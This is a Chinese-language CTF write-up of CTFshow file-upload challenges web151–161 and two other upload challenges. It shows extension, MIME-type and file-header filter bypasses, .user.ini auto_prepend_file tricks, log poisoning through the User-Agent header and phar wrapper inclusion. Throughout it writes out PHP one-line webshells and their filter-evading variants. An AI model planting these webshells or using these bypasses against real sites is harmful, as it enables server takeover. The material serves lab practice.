CTFshow文件上传
PHP文件上传:1、代码思路
黑名单是设置不能通过的用户,黑名单以外的用户都能通过。
phtml、pht、php3、php4、php5后缀都会按做php文件执行,且不在黑名单内。
2、绕过
找漏网之鱼:cer、php3、php4、phtml等。
大小写绕过:AsP、PhP
双写绕过:.pphphp
上传文件后,在后缀加上123.php可以执行刚刚上传的文件
web151:首先上传一个文件,发现不行,要求是图片格式,我们可以直接查看源代码修改一下上传文件的格式就行,把png那一部分删除掉,并且把文件类型改为file
web153: 在BP那边进行发包,上传.user.ini 写入 auto_prepend_file=1.txt
上传1.txt 写入一句话木马{<?php eval($_POST[1]);?>} 打开url+/upload/
Post data: 1=system('tac ../flag.php');
web154:在BP那边进行发包,上传.user.ini 写入 auto_prepend_file=1.txt
上传1.txt 写入一句话木马{<?=eval($_POST[1]);?>} 打开url+/upload/
Post data: 1=system('tac ../flag.php'); 或者打开蚁剑进行连接寻找目录
web155:payload和上题一样
web156:写入一句话木马的时候报错,使用排除法发现是POST[1]这边会错误,所以把[]改为{}就可以了
web157:写入一句话木马的时候会报错。使用排除法发现是分号不可用,POST[1]也不可以用,所以我们使用<?=eval(array_pop($_POST))?>,这个函数来执行一句话木马
web158:payload与157一样
web159:过滤了括号,分号,中括号大括号;但是我们可以直接把1.txt的内容改为<?=`tac /var/www/html/flag.p??`?>,直接进行绕过,使用<?=`tac f*`?>不知道为什么不可以,但是WP那边可以
web160:刚开始和之前的步骤还是一模一样,先打开F12改一下源码,把文件类型改为文件
然后打开BP开始抓
修改文件内容。名字和类型还有内容都要修改,
文件类型改为:image/png.
文件内容改为:auto_prepend_file=1.txt
文件名字改为:.user.ini
上传后再上传一个1.txt文件,文件内容为
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
这样就可以查看日志文件了,然后在upload界面添加User-Agent头文件内容为一句话木马<php eval($_POST[1]);>,然后用蚁剑连接一下这个服务器,找到flag.php就可以找到flag了
web161:发现怎么传都显示错误,后面发现是文件头那边需要改为GIF89a才可以绕过,伪造图片文件头 GIF89a,
其余部分与上方一致
攻防世界:easyupload
这道题目试了很久很久,我直接上传文件也传不了,有时候提示说你的文件很危险,我们提交一下GIF89a,然后就可以消除这个,还有一个说文件类很危险,我排除出来是<?php eval($_POST[1])?>有问题,所以我们就应该把一句话木马改一下
拓展:
auto_prepend_file的用法:
auto_prepend_file可以让所有的php文件自动的包含某个文件。什么意思?
例如在.user.ini文件中写入
auto_prepend_file=a.jpg
然后在a.jpg中写入一个一句话代码
<?=eval($_REQUEST['cmd']);?>
那么和.user.ini和a.jpg同一目录下的所有php文件都会包含a.jpg文件。
将写好的.user.ini文件上传,修改content-type为图片格式
和上面的题目没什么区别,只是一句话木马那边有区别。
最后蚁剑拿下,这边一定要找到上传点在哪里,然后再去用蚁剑链接,要不然是不行的
phar伪协议读取文件上传
这道题目只能上传压缩包和图片格式
我们把php文件压缩成zip格式
发现上传成功,这时候我们需要将bingdundun用phar伪协议读取里面的3.php文件,然后POST:1=phpinfo()看看有没有上传成功
之后通过蚁剑进行连接就可以了